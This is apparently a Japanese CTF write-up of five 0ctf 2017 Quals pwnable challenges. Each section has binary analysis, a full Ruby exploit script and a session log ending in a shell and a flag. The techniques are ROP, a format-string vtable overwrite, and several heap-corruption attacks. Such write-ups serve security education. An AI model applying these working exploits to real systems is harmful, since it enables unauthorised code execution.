0ctf 2017 Quals writeup
0ctf 2017 Qualsにbinjaで参加しました。
チームで5443pts入れて2位、私は5問解いて1296pts入れました。
解いた問題のwriteupを置いておきます(`・ω・´)
char (Pwnable 130)
まずは下調べ。
$ file char char: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4b292f5bfd7089a2fe69a25677f42a25e7c2b3df, stripped $ checksec --file char RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH char
プログラムの流れは
scanf("%2400s", input)
でスタックに文字列を読み込む- 問題に同梱のlibc.soを
mmap
で0x5555e000にマッピングする - 1.で読み込んだ文字列をチェックし、non-printableな文字が入っていると
exit
- チェックを通過した場合、
strcpy
で文字列をスタックにコピーし直すついでにstack bofさせる
という感じ。
printableな文字のみを使ってROPペイロードを書けという問題だが、
scanf("%s")
はnull byteを入れても入力が切れない- 文字列のチェックのループ回数は
strlen(input)
で決まる
という点を考えると、[padding(printable)] + [stack pivot gadget(printable)] + "\0" + [普通のROPペイロード]
という風にnull byteを入れることで、縛りROP問がただのROP問に弱体化する。
今回はgotにmmap
がいるので、rwxな領域を作ってシェルコードを実行させて解いた。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "202.120.7.214" port = 23222 else host = "localhost" port = 54321 end libc_base = 0x5555e000 libc_offset = { "add_esp_0xec_ret" => 0x68f5c, "add_esp_0x1c_ret" => 0x19939 } offset = { "mmap" => 0x080484f0, "scanf" => 0x08048540, "ret" => 0x08048692, "formatstr" => 0x0804894c, "shellcode" => 0x13370000 } PwnTube.open(host, port){|tube| tube.recv_until("GO : ) \n") puts "[*] send rop" payload = "" payload << "A" * 0x20 payload << [libc_base + libc_offset["add_esp_0xec_ret"]].pack("L") payload << [0].pack("L") payload << [offset["ret"]].pack("L") * 20 payload << [offset["mmap"], libc_base + libc_offset["add_esp_0x1c_ret"], offset["shellcode"], 0x1000, 7, 34, -1, 0].pack("L*") payload << [offset["ret"]].pack("L") * 4 payload << [offset["scanf"], offset["shellcode"], offset["formatstr"], offset["shellcode"]].pack("L*") tube.sendline(payload) puts "[*] send shellcode" sleep(1) tube.sendline(["eb0f5b31c089c189c28d40088d4003cd80e8ecffffff2f62696e2f736800"].pack("H*")) tube.interactive }
$ ruby char.rb r [*] connected [*] send rop [*] send shellcode [*] interactive mode id uid=1001(char) gid=1001(char) groups=1001(char) cat /home/*/flag flag{Asc11_ea3y_d0_1t???} exit [*] end interactive mode [*] connection closed
FLAG: flag{Asc11_ea3y_d0_1t???}
EasiestPrintf (Pwnable 150)
まずは下調べ。
$ file EasiestPrintf EasiestPrintf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=61cd88e3d189854473fddf7c0ace6450986e4b02, not stripped $ checksec --file EasiestPrintf RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH EasiestPrintf
プログラムの流れは
- 指定したアドレスにある32bit値を1回だけ教えてもらえる
- スタックに最大159バイトの文字列を読み込み、読み込んだ文字列を引数として
printf
を呼ぶ _exit(0)
する
という感じ。
自明なfsbがあるが、Full RELROなのでgot overwriteができないし、_exit
で終わるのでスタックを書き換えても意味がない。
仕方がないので、stdout
内に偽のvtableを作った上でstdout
のvtable pointerを書き換えてsystem
を呼んだ。
文字数制限が地味にキツかったためゴリ押ししたら、ひどいexploitになってしまった。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "202.120.7.210" port = 12321 libc_offset = { "__libc_start_main" => 0x19970, "stdout" => 0x1a9ac0, "system" => 0x3e3e0 } else host = "localhost" port = 54321 libc_offset = { "__libc_start_main" => 0x19970, "stdout" => 0x1a9ac0, "system" => 0x3e3e0 } end got = { "__libc_start_main" => 0x08049fec } def build_format_string(address, data, index) pairs = address.zip(data.bytes).sort_by{|a| (a[1] - address.length * 4) & 0xff} payload = "" payload << pairs.map{|a| a[0]}.pack("L*") count = payload.length pairs.each_with_index do |pair, i| a, b = pair if count != b payload << "%#{(b - count) & 0xff}c" count = b end payload << "%#{index + i}$hhn" end payload end PwnTube.open(host, port){|tube| puts "[*] leak libc base" tube.recv_until("Which address you wanna read:\n") tube.sendline("#{got["__libc_start_main"]}") libc_base = tube.recv_until("\n").strip.to_i(16) - libc_offset["__libc_start_main"] puts "libc base = 0x%08x" % libc_base puts "[*] overwrite stdout vtable" tube.recv_until("Good Bye\n") address = [] data = "" address.push libc_base + libc_offset["stdout"] + 1 data << "\x38" address.push *(libc_base + libc_offset["stdout"] + 4...libc_base + libc_offset["stdout"] + 8).to_a data << ";sh\0" address.push *(libc_base + libc_offset["stdout"] + 0x94...libc_base + libc_offset["stdout"] + 0x97).to_a data << [libc_base + libc_offset["stdout"] + 0xc - 0x1c].pack("L")[0...3] address.push *(libc_base + libc_offset["stdout"] + 0xc...libc_base + libc_offset["stdout"] + 0xf).to_a data << [libc_base + libc_offset["system"]].pack("L")[0...3] tube.send(build_format_string(address, data, 7).ljust(159, "\0")) tube.interactive }
$ ruby easiest_printf.rb r [*] connected [*] leak libc base libc base = 0xf7593000 [*] overwrite stdout vtable [*] interactive mode sh: 1: �8��: not found id uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf) cat /home/*/flag flag{Dr4m471c_pr1N7f_45_y0u_Kn0w} exit [*] end interactive mode [*] connection closed
FLAG: flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}
diethard (Pwnable 183)
独自mallocを実装した簡易メモアプリ。
$ ./diethard Input Command: 1. Add a Message 2. Delete a Message 3. Exit
まずは下調べ。
$ file diethard diethard: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38ff99c043a652b2edec032232191f9703653abe, stripped $ checksec --file diethard RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH diethard
主な仕様はこんな感じ。
- 独自malloc
- jemallocと雰囲気が似ている(たぶん)
- 複数のsize classがある(size classは8, 16, 32, 64, …, 0x200, 0x400, 0x800がある)
- 各size classは
mmap
で確保された複数のページ(1ページ = 0x1000バイト)を持ち、各ページを複数のブロックに分割して管理する - どのブロックが使用中かを表すビットマップを保持するページもある
- 図にするとこんな感じ
- Add a Message
- 指定した長さのメモを作成する(1バイト以上2048バイト未満)
- メモは10個まで作れる
- 長さが2016バイト未満の場合は下に示す
Message_Small
が、2016バイト以上の場合はMessage_Large
が使われる - 初期化時に「自分のすぐ後ろに別の
Message_*
構造体がある(もしくは将来確保される)と仮定して、そのprev_id
に自分のIDを書き込む」(コードにすると*(unsigned long*)((char*)message + sizeof(*message)) = message_id
)という少し怪しいことをしている
struct Message_Small { unsigned long prev_id; size_t length; char *content; // bufのアドレスが入る void (*print)(char *, size_t); char buf[length + 1]; }; struct Message_Large { unsigned long prev_id; size_t length; char *content; void (*print)(char *, size_t); }
- Delete a Message
- 指定したメモに割り当てられた領域を解放する
Add a Messageのprev_id
更新処理は、自分のすぐ後ろに別のMessage_*
が必ず来るという前提が常に成り立つならうまくいくが、
下の図の状態で新たにlength=2015
なMessage_Small
を作ると、図の青色の部分に領域が確保され、
prev_id
更新処理によってmalloc用のビットマップが上書きされてしまう。
ここでmalloc(0x800)
を呼ぶと、mallocはID=1のMessage_Small
のアドレスを返すため、Use After Freeに似た状況を作り出すことができる。
ここまで来れば、ID=1のMessage_Small
の構造体を書き換えることで好き勝手できるようになる。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "202.120.7.194" port = 6666 libc_offset = { "__libc_start_main" => 0x21a50, "system" => 0x41490, "/bin/sh" => 0x1633e8 } else host = "localhost" port = 54321 libc_offset = { "__libc_start_main" => 0x20740, "system" => 0x45390, "/bin/sh" => 0x18c177 } end offset = { "print_string" => 0x400976 } got = { "__libc_start_main" => 0x603280 } class PwnTube def recv_until_prompt recv_until("3. Exit\n\n") end end def tube @tube end def add_message(length, message) tube.recv_until_prompt tube.sendline("1") tube.recv_until("Input Message Length:\n") tube.sendline("#{length}") tube.recv_until("Please Input Message:\n") tube.send(message) end def delete_message(index) tube.recv_until_prompt tube.sendline("2") tube.recv_until("Which Message You Want To Delete?\n") tube.sendline("#{index}") end def show_messages tube.recv_until_prompt tube.sendline("2") s = tube.recv_until("Which Message You Want To Delete?\n") tube.sendline("114514") s end PwnTube.open(host, port){|t| @tube = t puts "[*] overwrite bit field for blocksize=0x800" 2.times{add_message(2015, "AAAAAAAA\n")} puts "[*] leak libc base" payload = "" payload << [0].pack("Q") payload << [8].pack("Q") # size payload << [got["__libc_start_main"]].pack("Q") # content payload << [offset["print_string"]].pack("Q") # function pointer add_message(2047, payload + "\n") libc_base = show_messages.match(/1. (......\0\0)\n/m).captures[0].unpack("Q")[0] - libc_offset["__libc_start_main"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite function pointer" delete_message(2) payload = "" payload << [0].pack("Q") payload << [-1].pack("Q") # size payload << [libc_base + libc_offset["/bin/sh"]].pack("Q") # content payload << [libc_base + libc_offset["system"]].pack("Q") # function pointer add_message(2047, payload + "\n") puts "[*] launch shell" tube.recv_until_prompt tube.sendline("2") tube.recv_until("1. ") tube.interactive }
$ ruby diethard.rb r [*] connected [*] overwrite bit field for blocksize=0x800 [*] leak libc base libc base = 0x7ff7c0508000 [*] overwrite function pointer [*] launch shell [*] interactive mode id uid=1001(diethard) gid=1001(diethard) groups=1001(diethard) cat /home/*/flag flag{W33_g0t_H34p_me7ad4t4_!n_BSS} exit
FLAG: flag{W33_g0t_H34p_me7ad4t4_!n_BSS}
Baby Heap 2017 (Pwnable 255)
ヒープを頑張る問題。
===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command:
まずは下調べ。
$ file babyheap_69a42acd160ab67a68047ca3f9c390b9 babyheap_69a42acd160ab67a68047ca3f9c390b9: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped $ checksec --file babyheap_69a42acd160ab67a68047ca3f9c390b9 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH babyheap_69a42acd160ab67a68047ca3f9c390b9
主な仕様はこんな感じ。
- Allocate
- 指定したサイズ(最大4096バイト)の領域を
calloc
で確保する - 領域は16個まで確保できる
- 指定したサイズ(最大4096バイト)の領域を
- Fill
- 指定した領域に文字列を読み込む
- なぜかサイズを聞いてくるが、1以上かどうかしかチェックしないためheap bofする
- Free
- 指定した領域を
free
する
- 指定した領域を
- Dump
- 指定した領域の内容を出力する
自由度が高いのでいろいろな攻略方法が考えられるが、今回は
- fastbinサイズでないチャンク同士でchunk overlappingを起こし、後ろにある方のチャンクをfreeする
- 前にある方のチャンクの内容を出力するとlibcのアドレスがリークする
- fastbins unlink attackで
__free_hook
の手前にチャンクを確保し、__free_hook
をsystem
に書き換える
という手順(かなり大まかに書いたが)で攻略した。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "202.120.7.218" port = 2017 libc_offset = { "main_arena" => 0x3a5620, "__free_hook" => 0x3a77c8, "system" => 0x41490, } else host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3c3b20, "__free_hook" => 0x3c57a8, "system" => 0x45390 } end class PwnTube def recv_until_prompt recv_until("Command: ") end end def tube @tube end def allocate(size) tube.recv_until_prompt tube.sendline("1\0") tube.recv_until("Size: ") tube.sendline("#{size}\0") end def fill(index, content) tube.recv_until_prompt tube.sendline("2\0") tube.recv_until("Index: ") tube.sendline("#{index}\0") tube.recv_until("Size: ") tube.sendline("#{content.length}\0") tube.recv_until("Content: ") tube.send(content) end def free(index) tube.recv_until_prompt tube.sendline("3\0") tube.recv_until("Index: ") tube.sendline("#{index}\0") end def dump(index) tube.recv_until_prompt tube.sendline("4\0") tube.recv_until("Index: ") tube.sendline("#{index}\0") end PwnTube.open(host, port){|t| @tube = t puts "[*] allocate chunks" allocate(0x18) allocate(0x18) allocate(0x88) allocate(0x68) puts "[*] overwrite chunksize" payload = "" payload << [0].pack("Q") * 3 payload << [0xb1].pack("Q") fill(0, payload) puts "[*] make chunks overlapping and leak libc base" free(1) allocate(0xa8) payload = "" payload << [0].pack("Q") * 3 payload << [0x91].pack("Q") fill(1, payload) free(2) dump(1) libc_base = tube.recv_capture(/Content: \n.{32}(........)/m)[0].unpack("Q")[0] - libc_offset["main_arena"] - 0x58 puts "libc base = 0x%x" % libc_base puts "[*] overwrite __free_hook" allocate(0x68) free(2) payload = "" payload << [0].pack("Q") * 3 payload << [0xb1].pack("Q") payload << [0].pack("Q") * 3 payload << [0x71].pack("Q") payload << [libc_base + libc_offset["__free_hook"] - 0x10 - 3].pack("Q") payload << [0].pack("Q") * 12 payload << [0x21].pack("Q") # use unsorted_bin attack to make a step to overwrite __free_hook payload << [libc_base + libc_offset["main_arena"] + 0x58].pack("Q") payload << [libc_base + libc_offset["__free_hook"] - 0x20].pack("Q") fill(0, payload) allocate(0x18) allocate(0x68) allocate(0x68) fill(0, "/bin/sh\0") fill(5, "AAA" + [libc_base + libc_offset["system"]].pack("Q")) puts "[*] launch shell" free(0) tube.interactive }
$ ruby babyheap.rb r [*] connected [*] allocate chunks [*] overwrite chunksize [*] make chunks overlapping and leak libc base libc base = 0x7f2ca0084000 [*] overwrite __free_hook [*] launch shell [*] interactive mode id uid=1001(babyheap) gid=1001(babyheap) groups=1001(babyheap) cat /home/*/flag flag{you_are_now_a_qualified_heap_beginner_in_2017} exit 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 5 [*] end interactive mode [*] connection closed
FLAG: flag{you_are_now_a_qualified_heap_beginner_in_2017}
engineOnline (Pwnable 578)
rev問として出題されていたengineTest(論理回路シミュレータ)のバイナリをexploitする問題。
まずは下調べ。
$ file engineTest engineTest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5d34dfdf744f750c64a7732cf43424b5462a142f, stripped $ checksec --file engineTest RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH engineTest
主な仕様はこんな感じ。
- rev問として動かすときは
./engineTest ./cp ./ip /dev/stdin ./op
の形で、pwn問として動かすときは./engineTest none none none none
の形で実行する(以下、プログラムの1番目の引数をcp, 2番目の引数をip, 3番目の引数をinput, 4番目の引数をopと書く)- 引数にファイル名が指定されているときはそのファイルから、noneが指定されているときは標準入力からデータを読み込む
- 動作の流れ
- cpから2つの64bit値
bitfield_size
とcpdata_length
を読み込む -
bitfield_size
bitのビットフィールド用の領域ports
を確保する
このビットフィールドは論理ゲートの入出力ポートとして使われる
なお、次の2ポートは入力専用として値が固定されているports[0] = 0
ports[1] = 1
- 論理ゲートのデータをcpからヒープに読み込む
論理ゲートのデータは、64bit値5つを1セットとしてcpdata_length
セット並べた感じになっている
用意されている論理ゲートは次の4種類(括弧内はcpでのフォーマット)- ANDゲート(
[1, input1, input2, -1, output]
)ports[output] = ports[input1] & ports[input2]
- ORゲート(
[2, input1, input2, -1, output]
)ports[output] = ports[input1] | ports[input2]
- XORゲート(
[3, input1, input2, -1, output]
)ports[output] = ports[input1] ^ ports[input2]
- セレクタ(
[4, input1, input2, input3, output]
)ports[output] = ports[input1] ? ports[input2] : ports[input3]
- ANDゲート(
- cpから読み込んだデータをチェックし、おかしな回路になっていた場合は異常終了する
ports[0]
,ports[1]
に出力しようとしているゲートがないかbitfield_size
以上の番号のポートにアクセスしようとしているゲートがないか- その他チェックいろいろ?(この辺の処理を読むのがつらすぎたため真面目に読んでいない)
- cpのデータをチェックするついでに、各論理ゲートの入出力ポート番号を基にして、論理ゲートを評価する順番を決める
- ipとinputからデータを読み込み、inputで読み込んだビット列をipで指定されたポートにセットする
- ipで指定されている番号が
bitfield_size
より小さいかをチェックしていないため、out-of-bounds writeができる
- ipで指定されている番号が
- 論理回路の各論理ゲートを評価する
- opからデータを読み込み、opで指定されたポートの状態を標準出力に出力する
- opで指定されている番号が
bitfield_size
より小さいかをここでもチェックしていないため、out-of-bounds readができる
- opで指定されている番号が
- スタック上にあるデバッグフラグがオンになっている場合、
gets
が呼ばれる(が、このフラグはオフで初期化され、プログラム内で変更されることはない)
- cpから2つの64bit値
プログラムの最後にあるgets
が呼んで欲しそうにしているので、スタック上のデバッグフラグをオンにする方法を考える。
bitfield_size
, cpdata_length
がよほど大きい値になっていない限り、メモリレイアウトは次のようになる。
スタック上のデバッグフラグをオンにするには、ip読み込み時におけるout-of-bounds writeを使ってスタックを書き換えるという方法がまず思いつくが、ASLRが有効なため狙った場所を書き換えるのは難しい。
一方、cpを書き換えるようにすると、動作の流れ4.や5.で書いた要素に邪魔されることなく思い通りの動作をする回路を作ることができる。
なので、
- ヒープ上に転がっているヒープアドレスやスタックアドレスを
ports
にコピーする - 拾ってきたアドレスを使ってデバッグフラグのアドレスを求める
- 回路を動的に書き換え、スタック上のデバッグフラグをオンにするゲートを作る
という動作をする回路を作ってデバッグフラグをオンにし、gets
が呼ばれるようにした。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "202.120.7.199" port = 24680 libc_offset = { "__libc_start_main" => 0x21a50, "one_gadget" => 0x41374 } else host = "localhost" port = 54321 libc_offset = { "__libc_start_main" => 0x21a50, "one_gadget" => 0x41374 } end offset = { "ret" => 0x402bf9, "__libc_start_main" => 0x400c80 } got = { "read" => 0x605050, "write" => 0x6050b8, "__libc_start_main" => 0x605058 } def call_func(addr, arg1 = 0, arg2 = 0, arg3 = 0) payload = "" payload << [0x403c2a, 0, 1, addr, arg3, arg2, arg1].pack("Q*") payload << [0x403c10].pack("Q") payload << [0].pack("Q") * 7 payload end class Engine attr_reader :program def initialize @program = [] end def op_and(arg1, arg2, output) program << [1, arg1, arg2, -1, output] end def op_or(arg1, arg2, output) program << [2, arg1, arg2, -1, output] end def xor(arg1, arg2, output) program << [3, arg1, arg2, -1, output] end def iif(condition, if_true, if_false, output) program << [4, condition, if_true, if_false, output] end def copy(src, dst, length) length.times{|i| xor(src + i, 0, dst + i)} end def memset(addr, bit, length) length.times{|i| iif(bit, 1, 0, addr + i)} end def set_value(addr, value, width = 64) width.times{|i| memset(addr + i, value[i], 1)} end def add(arg1, arg2, output, width = 64) carry = 2 tmp = [3, 4, 5, 6] memset(carry, 0, tmp.length + 1) width.times do |i| xor(arg1 + i, arg2 + i, tmp[0]) xor(tmp[0], carry, output + i) op_and(arg1 + i, arg2 + i, tmp[0]) op_and(arg2 + i, carry, tmp[1]) op_and(carry, arg1 + i, tmp[2]) op_or(tmp[0], tmp[1], tmp[3]) op_or(tmp[3], tmp[2], carry) end end def negate(arg, output, width = 64) width.times{|i| xor(arg + i, 1, output + i)} end def get_address program.length end def compile(&block) instance_eval(&block) @program end end def patch_byte(address, value, cp_address, bitfield_address, input_index, input_data, original_value = nil) 8.times do |i| input_index << (cp_address + address - bitfield_address) * 8 + i if original_value != value end input_data << value.chr if original_value != value end def patch_qword(address, value, cp_address, bitfield_address, input_index, input_data, original_value = nil) 8.times do |i| patch_byte(address + i, (value >> (i * 8)) & 0xff, cp_address, bitfield_address, input_index, input_data, (original_value >> (i * 8)) & 0xff) end end bitfield_address = 0x6191d0 cp_address = 0x619370 heap_address_holder = 0x641eb0 heap_address_value = 0x641e20 stack_address_holder = 0x65c138 bitfield_length = 51*64 input_index = [] input_data = "" fake_expressions = Engine.new.compile{ memset(bitfield_length / 2, 1, (bitfield_length / 2) - 2) } real_expressions = Engine.new.compile{ diff = 0x7fffffffeaa4 - 0x00007fffffffe900 copy((stack_address_holder - bitfield_address) * 8, 1 * 64, 48) copy(1 * 64, 3 * 64, 48) set_value(2 * 64, diff + 1, diff.bit_length) add(1 * 64, 2 * 64, 3 * 64, 32) set_value(4 * 64, -(heap_address_value - bitfield_address), 48) copy((heap_address_holder - bitfield_address) * 8, 5 * 64, 48) add(4 * 64, 5 * 64, 6 * 64, 48) negate(6 * 64, 6 * 64, 48) add(3 * 64, 6 * 64, 7 * 64, 48) addr = get_address copy(7 * 64, (cp_address + addr * 40 + 40 * 48 + 4 * 8 - bitfield_address) * 8 + 3, 48) xor(0, 1, 2) } real_expressions.flatten.zip(fake_expressions.flatten).each_with_index{|a, i| patch_qword(i * 8, a[0], cp_address, bitfield_address, input_index, input_data, a[1])} output_index = [0] PwnTube.open(host, port){|tube| puts "[*] send data" tube.send([bitfield_length].pack("Q")) tube.send([fake_expressions.length].pack("Q")) tube.send(fake_expressions.flatten.pack("Q*")) tube.send([input_index.length].pack("Q")) tube.send(input_index.pack("Q*")) tube.send(input_data) tube.send([output_index.length].pack("Q")) tube.send(output_index.pack("Q*")) puts "[*] send rop" tube.recv_until("[DEBUG]finish, press enter to exit\n") payload = "" payload << [offset["ret"]].pack("Q") * 50 payload << call_func(got["write"], 1, got["__libc_start_main"], 8) payload << call_func(got["read"], 0, got["__libc_start_main"], 8) payload << [offset["__libc_start_main"]].pack("Q") payload << "\0" * 0x40 tube.sendline(payload) puts "[*] leak libc base" libc_base = tube.recv(8).unpack("Q")[0] - libc_offset["__libc_start_main"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite got" tube.send([libc_base + libc_offset["one_gadget"]].pack("Q")) tube.interactive }
$ ruby engine_online.rb r [*] connected [*] send data [*] send rop [*] leak libc base libc base = 0x7f04ba49b000 [*] overwrite got [*] interactive mode id uid=1001(engine) gid=1001(engine) groups=1001(engine) cat /home/*/flag flag{The_Road_Fr0m_Circuit_70_sh5ll} exit [*] end interactive mode [*] connection closed
FLAG: flag{The_Road_Fr0m_Circuit_70_sh5ll}